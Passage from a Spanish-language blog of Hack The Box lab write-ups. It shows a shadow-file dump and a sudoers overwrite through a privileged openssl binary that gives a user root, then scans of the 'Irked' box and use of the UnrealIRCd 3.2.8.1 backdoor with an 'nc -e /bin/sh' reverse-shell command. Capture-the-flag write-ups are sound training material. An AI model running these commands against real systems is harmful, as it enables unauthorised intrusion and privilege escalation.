</span></span><span style="display:flex;"><span>daemon:*:17632:0:99999:7:::
</span></span><span style="display:flex;"><span>adm:*:17632:0:99999:7:::
</span></span><span style="display:flex;"><span>lp:*:17632:0:99999:7:::
</span></span><span style="display:flex;"><span>sync:*:17632:0:99999:7:::
</span></span><span style="display:flex;"><span>shutdown:*:17632:0:99999:7:::
</span></span><span style="display:flex;"><span>halt:*:17632:0:99999:7:::
</span></span><span style="display:flex;"><span>mail:*:17632:0:99999:7:::
</span></span><span style="display:flex;"><span>operator:*:17632:0:99999:7:::
</span></span><span style="display:flex;"><span>games:*:17632:0:99999:7:::
</span></span><span style="display:flex;"><span>ftp:*:17632:0:99999:7:::
</span></span><span style="display:flex;"><span>nobody:*:17632:0:99999:7:::
</span></span><span style="display:flex;"><span>systemd-network:!!:17689::::::
</span></span><span style="display:flex;"><span>dbus:!!:17689::::::
</span></span><span style="display:flex;"><span>polkitd:!!:17689::::::
</span></span><span style="display:flex;"><span>apache:!!:17689::::::
</span></span><span style="display:flex;"><span>libstoragemgmt:!!:17689::::::
</span></span><span style="display:flex;"><span>abrt:!!:17689::::::
</span></span><span style="display:flex;"><span>rpc:!!:17689:0:99999:7:::
</span></span><span style="display:flex;"><span>sshd:!!:17689::::::
</span></span><span style="display:flex;"><span>postfix:!!:17689::::::
</span></span><span style="display:flex;"><span>ntp:!!:17689::::::
</span></span><span style="display:flex;"><span>chrony:!!:17689::::::
</span></span><span style="display:flex;"><span>tcpdump:!!:17689::::::
</span></span><span style="display:flex;"><span>ldap:!!:17691::::::
</span></span><span style="display:flex;"><span>saslauth:!!:17691::::::
</span></span><span style="display:flex;"><span>ldapuser1:$6$OZfv1n9v$2gh4EFIrLW5hZEEzrVn4i8bYfXMyiPp2450odPwiL5yGOHYksVd8dCTqeDt3ffgmwmRYw49cMFueNZNOoI6A1.:17691:365:99999:7:::
</span></span><span style="display:flex;"><span>ldapuser2:$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1:17691:365:99999:7:::
</span></span><span style="display:flex;"><span>10.10.14.92:yqo8Lgn5JIG1.:17995:0:99999:7:::
</span></span><span style="display:flex;"><span>10.10.14.151:jvxpWniFejFvo:17995:0:99999:7:::
</span></span><span style="display:flex;"><span>10.10.15.237:aryD9l9x6HgzY:17995:0:99999:7:::
</span></span><span style="display:flex;"><span>10.10.16.6:kt.cdFWM6eItg:17995:0:99999:7:::
</span></span><span style="display:flex;"><span>10.10.12.29:gm9Gtwv3a9Em6:17995:0:99999:7:::
</span></span><span style="display:flex;"><span>10.10.14.23:xqOXmUUIG5iTA:17995:0:99999:7:::
</span></span><span style="display:flex;"><span>10.10.10.119:fx2PVX7tUaSIc:17995:0:99999:7:::
</span></span><span style="display:flex;"><span>127.0.0.1:bafhU6gpsxGdY:17995:0:99999:7:::
</span></span></code></pre></div><p>Great. Ahora, si en lugar de levantar el servicio usamos el encoder de openssl?</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[ldapuser1@lightweight ~]$ ./openssl enc -in /etc/sudoers | grep -vE &#39;^#|^$&#39;
</span></span><span style="display:flex;"><span>Defaults   !visiblepw
</span></span><span style="display:flex;"><span>Defaults    always_set_home
</span></span><span style="display:flex;"><span>Defaults    match_group_by_gid
</span></span><span style="display:flex;"><span>Defaults    env_reset
</span></span><span style="display:flex;"><span>Defaults    env_keep =  &#34;COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS&#34;
</span></span><span style="display:flex;"><span>Defaults    env_keep += &#34;MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE&#34;
</span></span><span style="display:flex;"><span>Defaults    env_keep += &#34;LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES&#34;
</span></span><span style="display:flex;"><span>Defaults    env_keep += &#34;LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE&#34;
</span></span><span style="display:flex;"><span>Defaults    env_keep += &#34;LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY&#34;
</span></span><span style="display:flex;"><span>Defaults    secure_path = /sbin:/bin:/usr/sbin:/usr/bin
</span></span><span style="display:flex;"><span>root	ALL=(ALL) 	ALL
</span></span><span style="display:flex;"><span>%wheel	ALL=(ALL)	ALL
</span></span><span style="display:flex;"><span>[ldapuser1@lightweight ~]$
</span></span></code></pre></div><p>Ahora que hemos visto que podemos leer archivos, también podemos escribir cambiando in por out. Armamos un backup y agregamos a mister ldapuser1:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[ldapuser1@lightweight ~]$ ./openssl enc -in /etc/sudoers &gt; /dev/shm/sudoers
</span></span><span style="display:flex;"><span>[ldapuser1@lightweight ~]$ (./openssl enc -in /dev/shm/sudoers; printf &#39;ldapuser1\tALL=(ALL)\tALL\n&#39;) | ./openssl enc -out /etc/sudoers
</span></span></code></pre></div><p>Ahora solo basta probar:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[ldapuser1@lightweight ~]$ sudo -s
</span></span><span style="display:flex;"><span>[sudo] password for ldapuser1:
</span></span><span style="display:flex;"><span>[root@lightweight ldapuser1]#
</span></span></code></pre></div><p>Damm ya tenemos shell de root.</p>
<h1 id="cat-roottxt">cat root.txt</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[root@lightweight ldapuser1]# cat /root/root.txt
</span></span></code></pre></div><p>&hellip; We got root and user flag.</p>
<hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>HTB write-up: Irked</title><link>https://www.xbyte.mx/posts/htb_writeup_-_irked/</link><pubDate>Sat, 27 Apr 2019 19:02:31 -0500</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_irked/</guid><description>&lt;p&gt;Esta maquina fue particularmente divertida. Un exploit simple y poderoso, una escalacion de www-data a user muy al estilo de un CTF stego y nuevamente otra escalación de user a root con estilo CTF rev/pwn.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Esta maquina fue particularmente divertida. Un exploit simple y poderoso, una escalacion de www-data a user muy al estilo de un CTF stego y nuevamente otra escalación de user a root con estilo CTF rev/pwn.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img src="https://www.hackthebox.eu/storage/avatars/5fb846e75cf0db0c4b27e2dc64a9bf82_thumb.png" alt="irked image"> <a href="https://www.hackthebox.eu/home/machines/profile/163">irked</a></td>
          <td><a href="https://www.hackthebox.eu/home/users/profile/624">MrAgent</a></td>
          <td>Linux</td>
          <td>10.10.10.117</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-irked/cardinfo.png" alt="cardinfo"></p>
<h1 id="port-scanning">Port Scanning</h1>
<p>Iniciamos por ejecutar un <code>nmap</code> y un <code>masscan</code> para identificar puertos udp y tcp abiertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -p- --open -n -v 10.10.10.117
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-31 11:13 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 11:13
</span></span><span style="display:flex;"><span>Scanning 10.10.10.117 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 11:13, 0.42s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 11:13
</span></span><span style="display:flex;"><span>Scanning 10.10.10.117 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 111/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 54944/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 8067/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 6697/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 65534/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.117
</span></span><span style="display:flex;"><span>Host is up (0.21s latency).
</span></span><span style="display:flex;"><span>Not shown: 65527 closed ports, 1 filtered port
</span></span><span style="display:flex;"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
</span></span><span style="display:flex;"><span>PORT      STATE SERVICE
</span></span><span style="display:flex;"><span>22/tcp    open  ssh
</span></span><span style="display:flex;"><span>80/tcp    open  http
</span></span><span style="display:flex;"><span>111/tcp   open  rpcbind
</span></span><span style="display:flex;"><span>6697/tcp  open  ircs-u
</span></span><span style="display:flex;"><span>8067/tcp  open  infi-async
</span></span><span style="display:flex;"><span>54944/tcp open  unknown
</span></span><span style="display:flex;"><span>65534/tcp open  unknown
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 196.35 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 205740 (9.053MB) | Rcvd: 185243 (7.410MB)
</span></span></code></pre></div><ul>
<li><code>-sS</code> para escaneo TCP vía SYN</li>
<li><code>-p-</code> para todos los puertos TCP</li>
<li><code>--open</code> para que solo me muestre resultados de puertos abiertos</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Continuemos con el doblecheck usando <code>masscan</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.117
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-12-31 18:55:46 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 65534/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 6697/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 8067/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 111/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 59319/tcp on 10.10.10.117
</span></span></code></pre></div><ul>
<li><code>-e tun0</code> para ejecutarlo nada mas en la interface tun0</li>
<li><code>-p0-65535,U:0-65535</code> TODOS los puertos (TCP y UDP)</li>
<li><code>--rate 500</code> para mandar 500pps y no sobre cargar la VPN</li>
</ul>
<p>Como podemos ver los puertos son los mismos, por lo que iniciamos por identificar los servicios nuevamente con <code>nmap</code>.</p>
<h1 id="services-identification">Services Identification</h1>
<p>Lanzamos <code>nmap</code> con los parámetros habituales para la identificación (-sC -sV):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sV -sC -n -v -p22,80,111,6697,8067,54944,65534 10.10.10.117
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-02 09:26 CST
</span></span><span style="display:flex;"><span>NSE: Loaded 148 scripts for scanning.
</span></span><span style="display:flex;"><span>NSE: Script Pre-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 09:26
</span></span><span style="display:flex;"><span>Completed NSE at 09:26, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 09:26
</span></span><span style="display:flex;"><span>Completed NSE at 09:26, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 09:26
</span></span><span style="display:flex;"><span>Scanning 10.10.10.117 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 09:26, 0.22s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 09:26
</span></span><span style="display:flex;"><span>Scanning 10.10.10.117 [7 ports]
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 111/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 6697/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 8067/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Discovered open port 65534/tcp on 10.10.10.117
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 09:26, 0.22s elapsed (7 total ports)
</span></span><span style="display:flex;"><span>Initiating Service scan at 09:26
</span></span><span style="display:flex;"><span>Scanning 6 services on 10.10.10.117
</span></span><span style="display:flex;"><span>Service scan Timing: About 66.67% done; ETC: 09:30 (0:01:18 remaining)
</span></span><span style="display:flex;"><span>Completed Service scan at 09:29, 156.22s elapsed (6 services on 1 host)
</span></span><span style="display:flex;"><span>NSE: Script scanning 10.10.10.117.
</span></span><span style="display:flex;"><span>Initiating NSE at 09:29
</span></span><span style="display:flex;"><span>Completed NSE at 09:30, 60.03s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 09:30
</span></span><span style="display:flex;"><span>Completed NSE at 09:30, 1.23s elapsed
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.117
</span></span><span style="display:flex;"><span>Host is up (0.17s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT      STATE  SERVICE     VERSION
</span></span><span style="display:flex;"><span>22/tcp    open   ssh         OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
</span></span><span style="display:flex;"><span>|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
</span></span><span style="display:flex;"><span>|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
</span></span><span style="display:flex;"><span>|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
</span></span><span style="display:flex;"><span>80/tcp    open   http        Apache httpd 2.4.10 ((Debian))
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Supported Methods: OPTIONS GET HEAD POST
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.10 (Debian)
</span></span><span style="display:flex;"><span>|_http-title: Site doesn&#39;t have a title (text/html).
</span></span><span style="display:flex;"><span>111/tcp   open   rpcbind     2-4 (RPC #100000)
</span></span><span style="display:flex;"><span>| rpcinfo:
</span></span><span style="display:flex;"><span>|   program version   port/proto  service
</span></span><span style="display:flex;"><span>|   100000  2,3,4        111/tcp  rpcbind
</span></span><span style="display:flex;"><span>|   100000  2,3,4        111/udp  rpcbind
</span></span><span style="display:flex;"><span>|   100024  1          33373/tcp  status
</span></span><span style="display:flex;"><span>|_  100024  1          35024/udp  status
</span></span><span style="display:flex;"><span>6697/tcp  open   ircs-u?
</span></span><span style="display:flex;"><span>|_irc-info: Unable to open connection
</span></span><span style="display:flex;"><span>8067/tcp  open   infi-async?
</span></span><span style="display:flex;"><span>|_irc-info: Unable to open connection
</span></span><span style="display:flex;"><span>54944/tcp closed unknown
</span></span><span style="display:flex;"><span>65534/tcp open   unknown
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NSE: Script Post-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 09:30
</span></span><span style="display:flex;"><span>Completed NSE at 09:30, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 09:30
</span></span><span style="display:flex;"><span>Completed NSE at 09:30, 0.00s elapsed
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 218.52 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 11 (460B) | Rcvd: 8 (344B)
</span></span></code></pre></div><p>IRC its that you?</p>
<p>Ok, tenemos varios servicios interesantes:</p>
<ul>
<li>TCP/22: OpenSSH 6.7p1</li>
<li>TCP/80: Apache 2.4.10</li>
<li>TCP/6697 y TCP/8097: IRC?</li>
</ul>
<p>Comencemos por enumerar el servicio de Apache:</p>
<h1 id="exploring-tcp80">Exploring TCP/80</h1>
<p>Lanzamos un <code>httpie</code> hacia la dirección y veamos su respuesta:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$ http 10.10.10.117
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Accept-Ranges: bytes
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 83
</span></span><span style="display:flex;"><span>Content-Type: text/html
</span></span><span style="display:flex;"><span>Date: Tue, 02 Apr 2019 15:57:01 GMT
</span></span><span style="display:flex;"><span>ETag: &#34;48-56c2e413aa86b-gzip&#34;
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Last-Modified: Mon, 14 May 2018 18:00:02 GMT
</span></span><span style="display:flex;"><span>Server: Apache/2.4.10 (Debian)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;img src=irked.jpg&gt;
</span></span><span style="display:flex;"><span>&lt;br&gt;
</span></span><span style="display:flex;"><span>&lt;b&gt;&lt;center&gt;IRC is almost working!&lt;/b&gt;&lt;/center&gt;
</span></span></code></pre></div><p>Parece que no hay mucho aquí. Excepto por la referencia de algo que parece inminente entre el nombre de la maquina y los primeros puertos descubiertos.</p>
<h1 id="exploring-tcp6697">Exploring TCP/6697</h1>
<p>Para conectarme al servidor no usaremos nada fancy, con <em>tinyirc</em> basta:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$ tinyirc xbytemx 10.10.10.117 6697
</span></span><span style="display:flex;"><span>TinyIRC 1.1 Copyright (C) 1991-1996 Nathan Laredo
</span></span><span style="display:flex;"><span>This is free software with ABSOLUTELY NO WARRANTY.
</span></span><span style="display:flex;"><span>For details please see the file COPYING.
</span></span><span style="display:flex;"><span>*** User is xbytemx
</span></span><span style="display:flex;"><span>*** trying port 6697 of 10.10.10.117
</span></span><span style="display:flex;"><span>-irked.htb- *** Looking up your hostname...
</span></span><span style="display:flex;"><span>-irked.htb- *** Couldn&#39;t resolve your hostname; using your IP address instead
</span></span><span style="display:flex;"><span>001 Welcome to the ROXnet IRC Network xbytemx!xbytemx@10.10.14.141
</span></span><span style="display:flex;"><span>002 Your host is irked.htb, running version Unreal3.2.8.1
</span></span><span style="display:flex;"><span>003 This server was created Mon May 14 2018 at 13:12:50 EDT
</span></span><span style="display:flex;"><span>004 irked.htb Unreal3.2.8.1 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj
</span></span><span style="display:flex;"><span>005 UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 :are supported by this server
</span></span><span style="display:flex;"><span>005 WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&amp;@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=ROXnet CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&amp;@%+ :are supported by this server
</span></span><span style="display:flex;"><span>005 EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP are supported by this server
</span></span><span style="display:flex;"><span>251 There are 1 users and 3 invisible on 1 servers
</span></span><span style="display:flex;"><span>254 1 channels formed
</span></span><span style="display:flex;"><span>255 I have 4 clients and 0 servers
</span></span><span style="display:flex;"><span>265 Current Local Users: 4  Max: 4
</span></span><span style="display:flex;"><span>266 Current Global Users: 4  Max: 4
</span></span><span style="display:flex;"><span>422 MOTD File is missing
</span></span><span style="display:flex;"><span>*** xbytemx changed xbytemx to: +iwx
</span></span><span style="display:flex;"><span>= LIST
</span></span><span style="display:flex;"><span>321 Channel Users  Name
</span></span><span style="display:flex;"><span>322 #UPupDOWNdownLRlrBAbaSSss 1
</span></span><span style="display:flex;"><span>323 End of /LIST
</span></span><span style="display:flex;"><span>= JOIN #UPupDOWNdownLRlrBAbaSSss
</span></span><span style="display:flex;"><span>*** Now talking in #UPupDOWNdownLRlrBAbaSSss
</span></span><span style="display:flex;"><span>353 = #UPupDOWNdownLRlrBAbaSSss xbytemx @djmardov
</span></span><span style="display:flex;"><span>366 #UPupDOWNdownLRlrBAbaSSss End of /NAMES list.
</span></span><span style="display:flex;"><span>324 #UPupDOWNdownLRlrBAbaSSss +
</span></span><span style="display:flex;"><span>*** #UPupDOWNdownLRlrBAbaSSss formed Wed Apr  3 09:09:50 2019
</span></span></code></pre></div><p>Tenemos conectado al usuario djmardov en el único canal #UPupDOWNdownLRlrBAbaSSss. El servidor es un Unreal3.2.8.1</p>
<h1 id="getting-a-rce">Getting a RCE</h1>
<p>Fuera de eso no encontramos nada mas relevante. Pero con esto basta para buscar si hay algun exploit conocido:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/git/exploit-database$ ./searchsploit unrealirc
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------- -------------------------------------------------------
</span></span><span style="display:flex;"><span> Exploit Title                                                                 |  Path
</span></span><span style="display:flex;"><span>                                                                               | (/home/xbytemx/git/exploit-database//)
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------- -------------------------------------------------------
</span></span><span style="display:flex;"><span>UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                   | exploits/linux/remote/16922.rb
</span></span><span style="display:flex;"><span>UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                        | exploits/windows/dos/18011.txt
</span></span><span style="display:flex;"><span>UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                 | exploits/linux/remote/13853.pl
</span></span><span style="display:flex;"><span>UnrealIRCd 3.x - Remote Denial of Service                                      | exploits/windows/dos/27407.pl
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------- -------------------------------------------------------
</span></span><span style="display:flex;"><span>Shellcodes: No Result
</span></span></code></pre></div><p>Encontramos varias opciones para la versión <code>3.2.8.1</code>, pero la que nos interesa es la que usa msf, veamos un poco que hace para lanzar el exploit:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">exploit</span>
</span></span><span style="display:flex;"><span>  connect
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  print_status(<span style="color:#e6db74">&#34;Connected to </span><span style="color:#e6db74">#{</span>rhost<span style="color:#e6db74">}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">#{</span>rport<span style="color:#e6db74">}</span><span style="color:#e6db74">...&#34;</span>)
</span></span><span style="display:flex;"><span>  banner <span style="color:#f92672">=</span> sock<span style="color:#f92672">.</span>get_once(<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">30</span>)
</span></span><span style="display:flex;"><span>  banner<span style="color:#f92672">.</span>to_s<span style="color:#f92672">.</span>split(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)<span style="color:#f92672">.</span>each <span style="color:#66d9ef">do</span> <span style="color:#f92672">|</span>line<span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span>    print_line(<span style="color:#e6db74">&#34;    </span><span style="color:#e6db74">#{</span>line<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">end</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  print_status(<span style="color:#e6db74">&#34;Sending backdoor command...&#34;</span>)
</span></span><span style="display:flex;"><span>  sock<span style="color:#f92672">.</span>put(<span style="color:#e6db74">&#34;AB;&#34;</span> <span style="color:#f92672">+</span> payload<span style="color:#f92672">.</span>encoded <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  handler
</span></span><span style="display:flex;"><span>  disconnect
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span>
</span></span></code></pre></div><p>Como podemos ver a simple vista, concatena el string &ldquo;AB; &quot; con el payload encodeado. Esto es fácilmente replicable usando <code>printf</code>, por lo que abriré una primera shell donde ejecute la prueba del <em>backdoor command execution</em> y otra donde dejare un sniffer para validar.</p>
<p><strong>Shell1:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$ printf &#34;AB;ping -c2 10.10.14.141\n&#34; | ncat 10.10.10.117 6697
</span></span><span style="display:flex;"><span>:irked.htb NOTICE AUTH :*** Looking up your hostname...
</span></span><span style="display:flex;"><span>:irked.htb NOTICE AUTH :*** Couldn&#39;t resolve your hostname; using your IP address instead
</span></span><span style="display:flex;"><span>:irked.htb 451 AB;ping :You have not registered
</span></span><span style="display:flex;"><span>ERROR :Closing Link: [10.10.14.141] (Client exited)
</span></span><span style="display:flex;"><span>^C
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$
</span></span></code></pre></div><p><strong>Shell2:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$ tshark -i tun0 &#39;icmp&#39;
</span></span><span style="display:flex;"><span>Capturing on &#39;tun0&#39;
</span></span><span style="display:flex;"><span>    1 0.000000000 10.10.10.117 → 10.10.14.141 ICMP 84 Echo (ping) request  id=0x0486, seq=1/256, ttl=63
</span></span><span style="display:flex;"><span>    2 1.002996264 10.10.10.117 → 10.10.14.141 ICMP 84 Echo (ping) request  id=0x0486, seq=2/512, ttl=63
</span></span><span style="display:flex;"><span>^C2 packets captured
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$
</span></span></code></pre></div><p>Perfecto, con esto podemos preparar una reverse shell para conectarnos:</p>
<p><strong>Shell1</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/irked$ printf &#34;AB; nc -e /bin/sh 10.10.14.141 3001\n&#34; | ncat 10.10.10.117 6697
</span></span><span style="display:flex;"><span>:irked.htb NOTICE AUTH :*** Looking up your hostname...
</span></span><span style="display:flex;"><span>:irked.htb NOTICE AUTH :*** Couldn&#39;t resolve your hostname; using your IP address instead
</span></span></code></pre></div><p>Esperamos en el listener:</p>
<p><strong>Shell2</strong></p>
